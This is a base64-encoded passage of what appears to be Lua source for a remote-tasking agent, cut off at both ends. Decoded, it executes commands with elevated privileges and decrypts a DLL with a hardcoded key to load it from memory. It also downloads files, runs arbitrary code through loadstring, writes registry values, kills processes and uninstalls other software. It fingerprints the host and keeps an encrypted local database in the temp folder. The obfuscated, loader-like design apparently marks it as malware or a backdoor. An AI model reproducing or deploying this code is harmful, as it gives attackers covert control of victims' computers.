bz09YVsyXXRoZW4KZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iRXF1YWxzIilhbmQiMSJv
ciIwIjsKZWxzZQplWyJyZXN1bHQiXT0oZVsidHh0V2hhdElmIl09PSJOb3QgRXF1YWxzIilhbmQi
MSJvciIwIjsKZW5kCmVuZAplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2VpZiBlWyJ0eHRk
byJdPT0iVmFyaWFibGUidGhlbgpsb2NhbCBhPXQuc3BsaXQoYSwiLCIpOwplWyJyZXN1bHQiXT0i
MCI7CmlmIGFbMl1+PW5pbCB0aGVuCnNTRz0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJzb3VyY2Ui
KW9yIiI7CmlmIGFbMV09PSJVc2VyIEdVSUQidGhlbgpzU0c9R2V0VXNlckd1aWQoKTsKc1NHPXN0
cmluZy51cHBlcihzdHJpbmcuZm9ybWF0KCIlcy0lcy0lcy0lcy0lcyIsc1NHOnN1YigxLDgpLHNT
RzpzdWIoOSwxMiksc1NHOnN1YigxMywxNiksc1NHOnN1YigxNywyMCksc1NHOnN1YigyMSkpKTsK
ZWxzZWlmIGFbMV09PSJWZXJzaW9uInRoZW4KaWYgR2V0VmVyc2lvbn49bmlsIHRoZW4Kc1NHPXRv
c3RyaW5nKEdldFZlcnNpb24oKSk7CmVuZAplbHNlaWYgYVsxXT09IklzNjRCaXQidGhlbgppZiBJ
czY0Qml0fj1uaWwgdGhlbgpzU0c9dG9zdHJpbmcoSXM2NEJpdCgpKTsKZW5kCmVsc2VpZiBzdHJp
bmcuZmluZChhWzFdLCJPcHRpb25zIil0aGVuCnNTRz10LmN1c3RvbXMoIiQiLi5zdHJpbmcudXBw
ZXIoYVsxXSkpOwplbmQKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJWYXJpYWJsZSAlcyAoJXMpID0g
JXMiLGFbMV0sc1NHLGFbMl0pKTsKaWYgZVsidHh0V2hhdElmIl09PSJDb250YWlucyJ0aGVuCmlm
IHN0cmluZy5maW5kKHNTRyxhWzJdKXRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZWxzZQppZiBz
U0c9PWFbMl10aGVuCmVbInJlc3VsdCJdPShlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyIpYW5kIjEi
b3IiMCI7CmVsc2UKZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iTm90IEVxdWFscyIpYW5k
IjEib3IiMCI7CmVuZAplbmQKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUHJvY2VzcyJ0aGVuCmlm
IElzUHJvY2Vzc1J1bm5pbmcoYSxmYWxzZSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJy
ZXN1bHQiXT0iMCI7CmVuZAplbHNlaWYgZVsidHh0ZG8iXT09Ikluc3RhbGxlZCJ0aGVuCmxvY2Fs
IHQ9e307CnRbMV09IlNPRlRXQVJFXFxXb3c2NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxD
dXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsKdFsyXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2lu
ZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5zdGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZVsic3Rh
dHVzIl09IjAiOwpmb3Igbyx0IGluIHBhaXJzKHQpZG8KbG9jYWwgbz1SZWdFbnVtS2V5RXgodzMy
WyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSx0KTsKaWYgdHlwZShvKT09InRhYmxlInRoZW4KZm9yIGks
byBpbiBwYWlycyhvKWRvCmxvY2FsIGk9UmVnRW51bVZhbHVlKHczMlsiSEtFWV9MT0NBTF9NQUNI
SU5FIl0sdC4uIlxcIi4ubyk7CmlmIHR5cGUoaSk9PSJ0YWJsZSJ0aGVuCmZvciBuLGkgaW4gcGFp
cnMoaSlkbwppZiBpPT0iRGlzcGxheU5hbWUidGhlbgpsb2NhbCB0PVJlZ1F1ZXJ5VmFsdWVFeCh3
MzJbIkhLRVlfTE9DQUxfTUFDSElORSJdLHQuLiJcXCIuLm8saSk7CnQ9c3RyaW5nLmxvd2VyKHQ6
Z3N1YigiICIsIiIpKTsKYT1zdHJpbmcubG93ZXIoYTpnc3ViKCIgIiwiIikpOwppZiBzdHJpbmcu
ZmluZCh0LGEpdGhlbgplWyJyZXN1bHQiXT0iMSI7CmVbInN0YXR1cyJdPSIxIjsKYnJlYWs7CmVu
ZAplbmQKZW5kCmVuZAplbmQKZW5kCmVuZAplbmQKbz10cnVlOwppZiBlWyJyZXN1bHQiXT09IjEi
dGhlbgppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iU3RvcCJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNm
aWVkLCBTdG9wcGluZyIpOwplWyJzdGF0dXMiXT0iMCI7Cm89ZmFsc2U7CmVsc2VpZiBlWyJ0eHRX
aGF0VGhlbiJdPT0iR290byJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNmaWVkLCBHb2luZyB0byAi
KTsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJDb250aW51ZSJ0aGVuCnQuZGVidWcoIlRoZW4g
U2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbHNlCmlmIGVbInR4dFdoYXRFbHNlIl09PSJT
dG9wInRoZW4KdC5kZWJ1ZygiRWxzZSBTYXRpc2ZpZWQsIFN0b3BwaW5nIik7CmVbInN0YXR1cyJd
PSIwIjsKbz1mYWxzZTsKZWxzZWlmIGVbInR4dFdoYXRFbHNlIl09PSJHb3RvInRoZW4KZVsic3Rh
dHVzIl09IjEiOwp0LmRlYnVnKCJFbHNlIFNhdGlzZmllZCwgR29pbmcgdG8gIik7CmVsc2VpZiBl
WyJ0eHRXaGF0RWxzZSJdPT0iQ29udGludWUidGhlbgplWyJzdGF0dXMiXT0iMSI7CnQuZGVidWco
IkVsc2UgU2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbmQKZW5kCmlmIGVbInR4dGNtZCJd
PT0iRG8idGhlbgpsb2NhbCBhPXQuY3VzdG9tcyhlWyJ0eHRXaGF0Il0pOwppZiBlWyJ0eHRkbyJd
PT0iRXhlY3V0ZSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRXhlY3V0aW5nOiAlcyB3aXRo
ICVzIixhLGVbInR4dFdoYXRUaGVuIl0pKTsKaWYgZVsidHh0V2hhdFRoZW4iXT09IkxvY2FsIFN5
c3RlbSJ0aGVuCnQuZXhlY3V0ZShhKTsKZWxzZQppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iSW1wZXJz
b25hdGlvbiBhbmQgRWxldmF0aW9uInRoZW4KdC5leGVjdXRlKGEsdHJ1ZSx0cnVlKTsKZWxzZQp0
LmV4ZWN1dGUoYSx0cnVlLGZhbHNlKTsKZW5kCmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsK
ZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZVsicmVzdWx0Il09IjEiOwplbHNlaWYgZVsidHh0ZG8iXT09
IkRMTCJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRExMIFNpemU6ICVzIHZpYSAlcyIsc3Ry
aW5nLmxlbihhKSxlWyJ0eHRXaGF0VGhlbiJdKSk7CmlmIGVbInR4dFdoYXRUaGVuIl09PSJNZW1v
cnkidGhlbgphPUVuY3J5cHQoYSwiYzIyZGY3MTQ2YjU0NGI1ZGFjYWNmYWJmMzdiZmQyNjRiZmIw
Zjg5NTNlMTQ0NDZhYmIwYjE5OGRmNDU0YzllYyIpOwpMb2FkRnJvbU1lbW9yeShhKTsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT0i
MSI7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRmlsZSJ0aGVuCmlmIGVbInR4dFdoYXRUaGVuIl09PSJE
ZWxldGUidGhlbgppZiBEZWxldGVGaWxlKGEpdGhlbgplWyJyZXN1bHQiXT0iZmlsZSBkZWxldGVk
IjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwpl
bmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJSZWFkInRoZW4KY29udGVudHM9dC5yZWFkZmls
ZShhKTsKaWYgY29udGVudHMgdGhlbgppZiBlWyJ0eHRXaGF0RWxzZSJdPT0iYXMgUHJvY2Vzc2xp
c3QidGhlbgpsaW5lcz10LnNwbGl0KGNvbnRlbnRzLCJcclxuIik7CmRhdGE9e30KZm9yIG8sYSBp
biBpcGFpcnMobGluZXMpZG8KY3N2PXQuc3BsaXQoYSwiLCIpOwppZiBjc3ZbM110aGVuCmRhdGE9
c3RyaW5nLmZvcm1hdCgneyJuYW1lIjolcywidHlwZSI6JXN9Jyxjc3ZbMV0sY3N2WzNdKTsKZVsi
cmVzdWx0Il09KGVbInJlc3VsdCJdKWFuZCBlWyJyZXN1bHQiXS4uIiwiLi5kYXRhIG9yIGRhdGE7
CmVuZAplbmQKZW5kCmVuZAppZiBub3QgZVsicmVzdWx0Il10aGVuCmVbInJlc3VsdCJdPSJlcnJv
ciByZWFkaW5nIGZpbGUiCmVsc2UKZVsicmVzdWx0Il09IlsiLi5lWyJyZXN1bHQiXS4uIl0iOwpl
bmQKZW5kCm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNl
aWYgZVsidHh0ZG8iXT09IlRlcm1pbmF0ZSJ0aGVuCmlmIElzUHJvY2Vzc1J1bm5pbmcoYSx0cnVl
KXRoZW4KdC5kZWJ1ZygiVGVybWluYXRpbmc6ICIuLmEpOwplWyJyZXN1bHQiXT0iMSI7CmVsc2UK
dC5kZWJ1ZygiRmFpbGVkIHRvIFRlcm1pbmF0ZTogIi4uYSk7CmVbInJlc3VsdCJdPSIwIjsKZW5k
Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsi
dHh0ZG8iXT09IlVuaW5zdGFsbCJ0aGVuCmxvY2FsIG89e307Cm9bMV09IlNPRlRXQVJFXFxXb3c2
NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsK
b1syXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5z
dGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZm9yIG8saSBpbiBwYWlycyhvKWRvCmxvY2FsIG89UmVn
RW51bUtleUV4KHczMlsiSEtFWV9MT0NBTF9NQUNISU5FIl0saSk7CmlmIHR5cGUobyk9PSJ0YWJs
ZSJ0aGVuCmZvciBvLG4gaW4gcGFpcnMobylkbwpsb2NhbCBvPVJlZ0VudW1WYWx1ZSh3MzJbIkhL
RVlfTE9DQUxfTUFDSElORSJdLGkuLiJcXCIuLm4pOwppZiB0eXBlKG8pPT0idGFibGUidGhlbgpm
b3IgcyxvIGluIHBhaXJzKG8pZG8KaWYgbz09IkRpc3BsYXlOYW1lInRoZW4KbG9jYWwgbz1SZWdR
dWVyeVZhbHVlRXgodzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSxpLi4iXFwiLi5uLG8pOwppZiBz
dHJpbmcuZmluZChvLGEpdGhlbgpvPVJlZ1F1ZXJ5VmFsdWVFeCh3MzJbIkhLRVlfTE9DQUxfTUFD
SElORSJdLGkuLiJcXCIuLm4sIlVuaW5zdGFsbFN0cmluZyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJd
fj1uaWwgdGhlbgpsb2NhbCBlPXN0cmluZy5mb3JtYXQoIiVzICVzIix0cmltKG8pLGVbInR4dFdo
YXRUaGVuIl0pOwpvPWU7CmVuZAp0LmRlYnVnKCJVbmluc3RhbGxpbmc6ICIuLm8pOwp0LmV4ZWN1
dGUobyx0cnVlKTsKZVsicmVzdWx0Il09IjEiOwpicmVhazsKZW5kCmVuZAplbmQKZW5kCmVuZApl
bmQKZW5kCmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZWxzZWlmIGVbInR4
dGRvIl09PSJXYWl0InRoZW4KbG9jYWwgYT10b251bWJlcihhKTsKaWYgYT09bmlsIHRoZW4KYT0x
MDsKZW5kCmVbInR4dFdoYXQiXT1hOwplWyJyZXN1bHQiXT0oZVsicmVzdWx0Il09PW5pbCBvciBl
WyJyZXN1bHQiXT09IiIpYW5kIG9zLnRpbWUoKW9yIGVbInJlc3VsdCJdOwppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iTWludXRlcyJ0aGVuCmE9YSo2MDsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJI
b3VycyJ0aGVuCmE9YSozNjAwOwplbHNlaWYgZVsidHh0V2hhdFRoZW4iXT09IkRheXMidGhlbgph
PWEqODY0MDA7CmVsc2UKaWYgYTwzMCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiV2FpdGlu
ZzogJXMiLGEpKTsKaWYgU2xlZXAgdGhlbgpTbGVlcCgoYSsxKSoxZTMpOwplbHNlCnQuc2xlZXAo
KGErMSkqMWUzKTsKZW5kCmVuZAplbmQKbG9jYWwgaT1vcy50aW1lKCktdG9udW1iZXIoZVsicmVz
dWx0Il0pOwppZiBpPmEgdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7
Cm89dHJ1ZTsKZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldhaXRpbmcgJXMgd2l0aCAlcyBy
ZW1haW5pbmciLGEsKGEtaSkpKTsKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUGluZyJ0aGVuCmE9
YTpnc3ViKCIgIiwiKyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iUE9TVCJ0aGVuCmxvY2FsIGU9
c3RyaW5nLmZpbmQoYSwiPyIpOwppZiBlIHRoZW4KbG9jYWwgbz1hOnN1YihlKzEsI2EpOwphPWE6
c3ViKDEsZS0xKTsKdC5kZWJ1ZygiUGluZ2luZyAiLi5hLi4iIHdpdGg6ICIuLm8pOwpuPXMucmVx
dWVzdChhLG8pOwplbmQKZWxzZQp0LmRlYnVnKCJQaW5naW5nOiAiLi5hKTsKbj1zLnJlcXVlc3Qo
YSk7CmVuZApuPXRyaW0odG9zdHJpbmcobikpOwp0LmRlYnVnKCJQaW5nIHJlc3VsdDogIi4ubik7
Cm89dHJ1ZTsKZVsicmVzdWx0Il09bjsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGlt
ZSgpOwplbHNlaWYgZVsidHh0ZG8iXT09IlNlcnZpY2UidGhlbgpsb2NhbCB0PXQucXVlcnlzZXJ2
aWNlKGEsNCk7CmVbInJlc3VsdCJdPSIiOwppZiB0IHRoZW4KZVsicmVzdWx0Il09dDsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsidHh0
ZG8iXT09IkRlYnVnInRoZW4KdC5kZWJ1ZyhhKTsKbz10cnVlOwplWyJzdGF0dXMiXT0iMCI7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRFhEaWFnInRoZW4KbG9jYWwg
YT10LmR4ZGlhZyhhLGVbInR4dFdoYXRUaGVuIl0pOwplWyJyZXN1bHQiXT0iIjsKaWYgYX49bmls
IHRoZW4KaWYgYVtzdHJpbmcubG93ZXIoZVsidHh0V2hhdEVsc2UiXSldfj1uaWwgdGhlbgplWyJy
ZXN1bHQiXT1hW3N0cmluZy5sb3dlcihlWyJ0eHRXaGF0RWxzZSJdKV07CnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiRFhEaWFnIFJlc3VsdDogJXMiLGVbInJlc3VsdCJdKSk7CmVuZAplbmQKbz10cnVl
OwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJd
PT0iRG93bmxvYWQidGhlbgpsb2NhbCBpPXQuY3VzdG9tcyhlWyJ0eHRXaGF0VGhlbiJdKTsKaWYg
aX49IiJ0aGVuCmxvY2FsIG49dC5maWxlcGFydHMoaSk7CmlmIG5+PW5pbCB0aGVuCkNyZWF0ZURp
cmVjdG9yeShuKTsKZW5kCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgJXMgdG8gJXMi
LGEsaSkpOwplWyJzdGF0dXMiXT0iMSI7CmlmIHQuZ2V0YnlodHRwKGEsaSl0aGVuCnQuZGVidWco
c3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgc3VjY2Vzc2Z1bCIsYSkpOwpvPXRydWU7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJyZXN1bHQiXT0iMCI7
CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdW5zdWNjZXNzZnVsIixhKSk7
CmVuZAplbHNlCmxvY2FsIGksbj10LmdldGJ5aHR0cChhKTsKaWYgaSB0aGVuCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdG8gbWVtb3J5IHN1Y2Nlc3NmdWwiLGEpKTsKbz10
cnVlOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uOwplWyJzdGF0dXMiXT0iMSI7
CmVuZAplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJEaXJlY3RvcnkidGhlbgppZiBDcmVhdGVEaXJl
Y3RvcnkoYSl+PTAgdGhlbgplWyJyZXN1bHQiXT0iMCI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgi
RGlyZWN0b3J5ICVzIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5IixhKSk7CmVsc2UKZVsicmVzdWx0Il09
R2V0TGFzdEVycm9yKCk7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRGlyZWN0b3J5ICVzIGNyZWF0
ZWQgdW5zdWNjZXNzZnVsbHkgKCVzKSIsYSxHZXRMYXN0RXJyb3IoKSkpOwplbmQKbz10cnVlOwpl
WyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0i
RGVsZXRlIEZpbGUidGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIkF0dGVtcHRpbmcgdG8gZGVs
ZXRlICVzIixhKSk7CmlmIERlbGV0ZUZpbGUoYSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKdC5kZWJ1
ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwplbHNlCmVbInJl
c3VsdCJdPSIwIjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHVuc3VjY2Vzc2Z1
bGx5IixhKSk7CmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUo
KTsKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdpc3RyeSJ0aGVuCmxvY2FsIGk9dC5zcGxpdChhLCIs
Iik7CmVbInJlc3VsdCJdPSIwIjsKaWYgdzMyW2lbMV1dfj1uaWwgdGhlbgppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iV3JpdGUgVmFsdWUidGhlbgpsb2NhbCBvPShpWzRdPT0iZCIpYW5kIHRvbnVtYmVy
KGlbNV0pb3IgaVs1XTsKaWYgUmVnU2V0VmFsdWVFeCh3MzJbaVsxXV0saVsyXSxpWzNdLG8pdGhl
bgplWyJyZXN1bHQiXT0iMSI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMg
PSAlcyBTdWNjZXNzIixlWyJ0eHRXaGF0VGhlbiJdLGEsbykpOwplbHNlCnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMgPSAlcyBGYWlsdXJlIixlWyJ0eHRXaGF0VGhlbiJdLGEs
bykpOwplbmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJRdWVyeSBWYWx1ZSJ0aGVuCmxvY2Fs
IG89UmVnUXVlcnlWYWx1ZUV4KHczMltpWzFdXSxpWzJdLGlbM10pOwppZiBvIHRoZW4KZVsicmVz
dWx0Il09bzsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZWdpc3RyeSBWYWx1ZTogJXMiLG8pKTsK
ZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIlJlZ2lzdHJ5IEVycm9yICVzICVzICVzIixHZXRM
YXN0RXJyb3IoKSxlWyJ0eHRXaGF0VGhlbiJdLGEpKTsKZW5kCmVuZAplbHNlCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiUmVnaXN0cnkgRXJyb3IgJXMgJXMiLGVbInR4dFdoYXRUaGVuIl0sYSkpOwpl
bmQKbz10cnVlOwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVuZAplbmQK
aWYgZVsidHh0Y21kIl09PSJXaWxmb3JkInRoZW4KbG9jYWwgYT10LmN1c3RvbXMoZVsidHh0V2hh
dCJdKTsKaWYgZVsidHh0ZG8iXT09IlJ1biJ0aGVuCmxvY2FsIHQ9bG9hZHN0cmluZyhhKTsKaWYg
dHlwZSh0KT09ImZ1bmN0aW9uInRoZW4KZVsicmVzdWx0Il09dCgpOwplbmQKbz10cnVlOwplWyJz
dGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iSW5j
bHVkZSJ0aGVuCmVbInJlc3VsdCJdPWE7Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRl
Il09b3MudGltZSgpOwplbHNlCmVbInN0YXR1cyJdPSIwIjsKZW5kCmVuZApyZXR1cm4gZSxvOwpl
bmQKZnVuY3Rpb24gdC51c2VyZ3VpZCgpCmxvY2FsIGU9R2V0Vm9sdW1lSW5mb3JtYXRpb24oKTsK
bG9jYWwgYT1HZXRNQUNBZGRyZXNzKCk7CmxvY2FsIHQ9R2V0VGhlTWFjaGluZU5hbWUoKTsKbG9j
YWwgZT1HZXRNRDVTdHJpbmcoc3RyaW5nLmZvcm1hdCgiJXM6JXM6JXMiLHRvc3RyaW5nKGUpLHRv
c3RyaW5nKGEpLHRvc3RyaW5nKHQpKSk7CmlmIGU9PW5pbCB0aGVuCmU9R2V0TUQ1U3RyaW5nKEdl
dEN1cnJlbnRVc2VyU2lkKCkpOwplbmQKcmV0dXJuIHN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVz
LSVzIixlOnN1YigxLDgpLGU6c3ViKDksMTIpLGU6c3ViKDEzLDE2KSxlOnN1YigxNywyMCksZTpz
dWIoMjEpKTsKZW5kCmZ1bmN0aW9uIHQuc2F2ZWRiKGUpCmU9KEVuY3J5cHQpYW5kIEVuY3J5cHQo
ZSwibGFxdWFuZGEgd2F0a2lucyIpb3IgdC5lbmNyeXB0KGUsImxhcXVhbmRhIHdhdGtpbnMiKTsK
aWYgU2V0Q29tbWFuZHN+PW5pbCB0aGVuClNldENvbW1hbmRzKGUpOwplbHNlCmxvY2FsIGE9KHcz
MiBhbmQgdzMyWyJDUkVBVEVfQUxXQVlTIl0pYW5kIHczMlsiQ1JFQVRFX0FMV0FZUyJdb3IgMDsK
aWYgRmluZEZpcnN0RmlsZSB0aGVuCmR3UmVzdWx0LHRGaWxlSW5mbz1GaW5kRmlyc3RGaWxlKHN0
cmluZy5mb3JtYXQoIiVzbHF3ZGIuZGF0Iix0LnRlbXBwYXRoKCkpKTsKaWYgZHdSZXN1bHR+PTAg
dGhlbgphPXczMlsiVFJVTkNBVEVfRVhJU1RJTkciXTsKRmluZENsb3NlKGR3UmVzdWx0KTsKZW5k
CmVuZApsb2NhbCBlPShlfj1uaWwpYW5kIHQud3JpdGVmaWxlKHN0cmluZy5mb3JtYXQoIiVzbHF3
ZGIuZGF0Iix0LnRlbXBwYXRoKCkpLGUsYSlvciAwOwppZiBlPjAgdGhlbgp0LmRlYnVnKCJMb2Nh
bCBEQiBXcml0dGVuOiAiLi5lKTsKZWxzZQpsb2NhbCBlPShHZXRMYXN0RXJyb3IpYW5kIEdldExh
c3RFcnJvcigpb3IiMCI7CnQuZGVidWcoIkxvY2FsIERCIE5vdCBXcml0dGVuOiAiLi5lKTsKZW5k
CmVuZAplbmQKZnVuY3Rpb24gdC5keGRpYWcoZSxuKQppZiBub3QgZSBvciBub3QgbiB0aGVuCnJl
dHVybiBuaWw7CmVuZApsb2NhbCBlPXQucmVhZGZpbGUoZSk7CmxvY2FsIGk9e307CmlmIGUgdGhl
bgpsaW5lcz10LnNwbGl0KGUsIlxyXG4iKTsKbG9jYWwgbz10cnVlOwpsb2NhbCB0PWZhbHNlOwps
b2NhbCBhPTA7CmZvciBzLGUgaW4gaXBhaXJzKGxpbmVzKWRvCmlmIG89PXRydWUgdGhlbgp0PXN0
cmluZy5maW5kKGUsbik7CmVsc2UKdD1mYWxzZTsKZW5kCmlmIHQgdGhlbgpvPWZhbHNlOwplbmQK
aWYgbz09ZmFsc2UgdGhlbgppZiBzdHJpbmcuZmluZChlLCIlLSUtJS0iKXRoZW4KYT1hKzE7Cmlm
IGE+MSB0aGVuCmJyZWFrOwplbmQKZWxzZQppZiBzdHJpbmcubGVuKGUpPjAgdGhlbgpsb2NhbCBv
PTA7CmxvY2FsIHQ9IiI7CmZvciBhPTEsI2UgZG8KaWYgZTpzdWIoYSxhKT09IjoidGhlbgpvPW8r
MTsKaWYgbz09MSB0aGVuCnQ9dC4uIjoiOwplbmQKZWxzZQp0PXQuLmU6c3ViKGEsYSk7CmVuZApl
bmQKZT10Owpmb3IgZSx0IGluIHN0cmluZy5nbWF0Y2goZSwiKC4rKTogKC4rKSIpZG8KaVtzdHJp
bmcubG93ZXIodHJpbShlKSldPXQ7CmVuZAplbmQKZW5kCmVuZAplbmQKZW5kCnJldHVybiBpOwpl
bmQKZnVuY3Rpb24gdC5lbmNyeXB0KG8saSkKbG9jYWwgdD0iIjsKaWYgaSBhbmQgbyB0aGVuCmxv
Y2FsIGE9bWF0aC5mbG9vcgpsb2NhbCBlPTA7CmZvciBuPTEsI28gZG8KZT0oZT4jaS0xKWFuZCAx
IG9yKGUrMSk7CmxvY2FsIG89c3RyaW5nLmJ5dGUobyxuKTsKbG9jYWwgZT1zdHJpbmcuYnl0ZShp
LGUpOwpsb2NhbCBpPTA7CmZvciBuPTAsMzEgZG8KbG9jYWwgdD1vLzIrZS8yCmlmIHR+PWEodCl0
aGVuCmk9aSsyXm4KZW5kCm89YShvLzIpCmU9YShlLzIpCmVuZAp0PXQuLnN0cmluZy5jaGFyKGkp
OwplbmQKZW5kCnJldHVybiB0OwplbmQKZnVuY3Rpb24gdC50cmltKGUpCnJldHVybiBlOm1hdGNo
J14lcyooLiolUyknb3InJwplbmQKZnVuY3Rpb24gdC5zbGVlcChlKQppZiB0eXBlKGUpPT0ibnVt
YmVyInRoZW4KZT0oZS8xZTMpOwplbmQKbG9jYWwgdD1vcy5jbG9jazsKbG9jYWwgYT10KCk7Cndo
aWxlIHQoKS1hPD1lIGRvCmVuZAplbmQKZnVuY3Rpb24gdC5uZXcoZSkKcmV0dXJuIHNldG1ldGF0
YWJsZSh7YXJncz1lIG9yIG5pbH0sZCk7CmVuZApyZXR1cm4gdDtlbmQpCnBhY2thZ2UucHJlbG9h
ZFsnc29ja2V0J109KGZ1bmN0aW9uKC4uLikKbG9jYWwgZT1fRwpsb2NhbCBoPXJlcXVpcmUoInN0
cmluZyIpCmxvY2FsIHM9cmVxdWlyZSgibWF0aCIpCmxvY2FsIGE9cmVxdWlyZSgic29ja2V0LmNv
cmUiKQptb2R1bGUoInNvY2tldCIpCmZ1bmN0aW9uIGNvbm5lY3QoaSxuLHQsbykKbG9jYWwgZSxh
PWEudGNwKCkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLGEgZW5kCmlmIHQgdGhlbgpsb2NhbCBl
LHQ9ZTpiaW5kKHQsbywtMSkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLHQgZW5kCmVuZApsb2Nh
bCB0LGE9ZTpjb25uZWN0KGksbikKaWYgbm90IHQgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnJldHVy
biBlCmVuZApmdW5jdGlvbiBiaW5kKGksbixvKQpsb2NhbCBlLHQ9YS50Y3AoKQppZiBub3QgZSB0
aGVuIHJldHVybiBuaWwsdCBlbmQKZTpzZXRvcHRpb24oInJldXNlYWRkciIsdHJ1ZSkKbG9jYWwg
YSx0PWU6YmluZChpLG4pCmlmIG5vdCBhIHRoZW4gcmV0dXJuIG5pbCx0IGVuZAphLHQ9ZTpsaXN0
ZW4obykKaWYgbm90IGEgdGhlbiByZXR1cm4gbmlsLHQgZW5kCnJldHVybiBlCmVuZAp0cnk9bmV3
